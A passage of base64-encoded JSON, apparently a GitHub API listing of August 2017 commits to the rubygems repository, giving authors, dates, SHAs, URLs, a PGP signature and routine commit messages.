ybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk4NjQ0NDc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vd2ViLWZsb3ciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93ZWItZmxvdy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2ViLWZsb3cvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dlYi1mbG93L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkYjYyZmFiZjRiOTI5MWI3M2I1YWEzM2NmYTI2MGIyMzBkOWI4YzNlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RiNjJmYWJmNGI5MjkxYjczYjVhYTMzY2ZhMjYwYjIzMGQ5YjhjM2UiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZGI2MmZhYmY0YjkyOTFiNzNiNWFhMzNjZmEyNjBiMjMwZDliOGMzZSJ9XX0seyJzaGEiOiI5OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiQWx5c3NhIFJvc3MiLCJlbWFpbCI6ImhpQGFseXNzYS5pcyIsImRhdGUiOiIyMDE3LTA4LTA2VDE3OjUxOjAzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IkFseXNzYSBSb3NzIiwiZW1haWwiOiJoaUBhbHlzc2EuaXMiLCJkYXRlIjoiMjAxNy0wOC0wNlQxNzo1ODozN1oifSwibWVzc2FnZSI6IlBvbGljaWVzOiBIb211IOKGkiBCdW5kbGVyYm90IiwidHJlZSI6eyJzaGEiOiJjOGI3MjRiYjFiNDgzOTQxNzcxODY0ZjMzODY3MzE1ZDNjZDE5Mjk5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYzhiNzI0YmIxYjQ4Mzk0MTc3MTg2NGYzMzg2NzMxNWQzY2QxOTI5OSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzk5NWRkYzkwNjQwZjZmN2NmMDJhYjNjOGIyYjY5ZmZhNDI0ZWQwNjkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFKQkJBQUJDZ0FyRmlFRUxNcG9KTHFmZy9LZkE2WTQ1OXpGWnZtamJUQUZBbG1IV004TkhHaHBRR0ZzZVhOelxuWVM1cGN3QUtDUkRuM01WbSthTnRNSldzRC8wYThzVnZWMDRvQm1aZXZrKzdGR2pjNDc3TlNWazc3SCs3akNqYVxuOHVIS0dydVI2eHhQTkZIbVd4K2JYK2dGbVk4YURvaXRoR01ZVjgzNXVjSWZwa3ROZzNpaDlKelZqdll4aDFRNlxuZ3JJZ0V2SU9RU3VPZEZFZnF6bUkyNUlDSlZoQzBqVVI2TGtUTjM1blNQaUNCMmdtSm5kQmNmMEoyc3FFMXZySlxuNkw3Tk1SRzc4MThxRTI1Y1pFVVF1b3crZVZvKzlOVlpCbXV0MEdrOVdqNFF1TW5VOHRraW82UVZCOEk3WExRS1xuSUV0a1QyY3o0dzZicEtlR3R2cEF0Sm5lZEx0d2V2T080SDZLVjg4S2thKzlQbFAwZVpBeUgzajhxSVZOOXN2dFxuT00zZS9GVGhuNDhObUxHMkFRSzRhbU54U0s5c3VFRVliZkZ4YmM4QVdNUHdGbnpsVzVIQTFGSDI4WFJsYmx1V1xuU3RsNkM5ajRMU0xCK2pVbEpnbWtmVFNUbHM0R0I4OThaNmhvQ1N4V3pPbEttOGFCUUZCaWRxNS9WbmhSejM5T1xucWgrbkUxUGcxMFM1QUJDakJwMWxPcnU5NG9SZlU2K1VRUHV0Nmhpa3hmblQzM3hqckhjcGtkWHVtVTNrKzJCb1xuWjFnSVpkMDZGSjFoQzJKZW41aWI4VFUweUd6NW8ydGIzb0NIYmlNYXBXYllwaERkcTVIUVJKSnpqNnRMNE1MSlxuT0JqSXA0TytVZmlBQVJCcTFMWEUvTTgwQUVaVG15WUQ2T0owNU5kTGorTEZyZ2didEE3dUZLamF4azIyYU1BSFxuKzBpZ2d2Mk1rOG9PVTFnR3F1OFlpTjNXK0QwNkQ4MHh6SGtPT2FkN1NBVW5rUGo3dG5jU1ZGTHFISW1mZXRWcVxuNXBveVVnPT1cbj1XWkNvXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBjOGI3MjRiYjFiNDgzOTQxNzcxODY0ZjMzODY3MzE1ZDNjZDE5Mjk5XG5wYXJlbnQgMjBlYjRlYjgyYTgyNzBiOGVjY2Q5MDI4YzVhOTcyMjQ5MzMyZTUxY1xuYXV0aG9yIEFseXNzYSBSb3NzIDxoaUBhbHlzc2EuaXM+IDE1MDIwNDE4NjMgKzAxMDBcbmNvbW1pdHRlciBBbHlzc2EgUm9zcyA8aGlAYWx5c3NhLmlzPiAxNTAyMDQyMzE3ICswMTAwXG5cblBvbGljaWVzOiBIb211IOKGkiBCdW5kbGVyYm90XG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzk5NWRkYzkwNjQwZjZmN2NmMDJhYjNjOGIyYjY5ZmZhNDI0ZWQwNjkiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOTk1ZGRjOTA2NDBmNmY3Y2YwMmFiM2M4YjJiNjlmZmE0MjRlZDA2OS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImFseXNzYWlzIiwiaWQiOjI3Njg4NzAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzI3Njg4NzA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYWx5c3NhaXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJhbHlzc2FpcyIsImlkIjoyNzY4ODcwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8yNzY4ODcwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2FpcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FseXNzYWlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMjBlYjRlYjgyYTgyNzBiOGVjY2Q5MDI4YzVhOTcyMjQ5MzMyZTUxYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yMGViNGViODJhODI3MGI4ZWNjZDkwMjhjNWE5NzIyNDkzMzJlNTFjIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzIwZWI0ZWI4MmE4MjcwYjhlY2NkOTAyOGM1YTk3MjI0OTMzMmU1MWMifV19LHsic2hhIjoiMjc5MjdhMmY2NmVjZmNiYTMwMmIxYmRiODQ4NWZlOWFlY2NlMGJjYyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6ImFuYW50a29sdmFua2FyIiwiZW1haWwiOiJhbmkua29sdmFua2FyQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTA4LTA2VDEyOjQ0OjIyWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6ImFuYW50a29sdmFua2FyIiwiZW1haWwiOiJhbmkua29sdmFua2FyQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTA4LTA2VDEyOjQ4OjEyWiJ9LCJtZXNzYWdlIjoiQWRkZWQgdGVzdGNhc2UgZm9yIHVuaW5zdGFsbGluZyBnZW0gdGhhdCBpcyBub3QgaW5zdGFsbGVkLiIsInRyZWUiOnsic2hhIjoiY2UxNmE0Y2VmNjdjYjE3NTE3NjA1ZjBiZWJlMzVlNmI2ODA0ZmQyYSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2NlMTZhNGNlZjY3Y2IxNzUxNzYwNWYwYmViZTM1ZTZiNjgwNGZkMmEifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8yNzkyN2EyZjY2ZWNmY2JhMzAyYjFiZGI4NDg1ZmU5YWVjY2UwYmNjIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzI3OTI3YTJmNjZlY2ZjYmEzMDJiMWJkYjg0ODVmZTlhZWNjZTBiY2MiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMjc5MjdhMmY2NmVjZmNiYTMwMmIxYmRiODQ4NWZlOWFlY2NlMGJjYyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yNzkyN2EyZjY2ZWNmY2JhMzAyYjFiZGI4NDg1ZmU5YWVjY2UwYmNjL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYW5hbnRrb2x2YW5rYXIiLCJpZCI6NDExMzYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDExMzYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9hbmFudGtvbHZhbmthciIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImFuYW50a29sdmFua2FyIiwiaWQiOjQxMTM2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQxMTM2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYW5hbnRrb2x2YW5rYXIiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI3YmMyODMyMmIxYmE4MWQ3YTBlMjZhZjZkZTg2Zjc5MDdlODJkN2FhIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzdiYzI4MzIyYjFiYTgxZDdhMGUyNmFmNmRlODZmNzkwN2U4MmQ3YWEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvN2JjMjgzMjJiMWJhODFkN2EwZTI2YWY2ZGU4NmY3OTA3ZTgyZDdhYSJ9XX0seyJzaGEiOiI4YzdmNzhiNTBkODBmMWE3MDBhNGJlZTBkYzQxODQ4ZDYyYTM2NWEzIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiV2lsc29uIEJpbGtvdmljaCIsImVtYWlsIjoid2lsc29uYkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0wOC0wNVQwNjo1NDoyMloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJXaWxzb24gQmlsa292aWNoIiwiZW1haWwiOiJ3aWxzb25iQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTA4LTA1VDA2OjU0OjIyWiJ9LCJtZXNzYWdlIjoiRGlzcGxheSBhbiBleHBsYW5hdGlvbiB3aGVuIHJha2UgZW5jb3VudGVycyBhbiBvbnRvbG9naWNhbCBwcm9ibGVtLiIsInRyZWUiOnsic2hhIjoiMjY5MjQ0MjQ3NzVhZTNiZWU3NmRlZmY1ZGU2NDE1YzQ1YzdhNzUxMiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzI2OTI0NDI0Nzc1YWUzYmVlNzZkZWZmNWRlNjQxNWM0NWM3YTc1MTIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy84YzdmNzhiNTBkODBmMWE3MDBhNGJlZTBkYzQxODQ4ZDYyYTM2NWEzIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzhjN2Y3OGI1MGQ4MGYxYTcwMGE0YmVlMGRjNDE4NDhkNjJhMzY1YTMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOGM3Zjc4YjUwZDgwZjFhNzAwYTRiZWUwZGM0MTg0OGQ2MmEzNjVhMyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84YzdmNzhiNTBkODBmMWE3MDBhNGJlZTBkYzQxODQ4ZDYyYTM2NWEzL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoid2lsc29uIiwiaWQiOjE3NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTc0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS93aWxzb24iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbHNvbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbHNvbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbHNvbi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJ3aWxzb24iLCJpZCI6MTc0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNzQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbHNvbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3dpbHNvbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbHNvbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2lsc29uL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aWxzb24vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRiNjJmYWJmNGI5MjkxYjczYjVhYTMzY2ZhMjYwYjIzMGQ5YjhjM2UiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGI2MmZhYmY0YjkyOTFiNzNiNWFhMzNjZmEyNjBiMjMwZDliOGMzZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYjYyZmFiZjRiOTI5MWI3M2I1YWEzM2NmYTI2MGIyMzBkOWI4YzNlIn1dfSx7InNoYSI6ImExYTg3ODc2ODM0NWFlYWY4MWQwM2UxYzZiNzkyMDYwNzgxYWFiNGYiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTA4LTA1VDAyOjA3OjI3WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMDgtMDVUMDI6MDc6MjdaIn0sIm1lc3NhZ2UiOiJ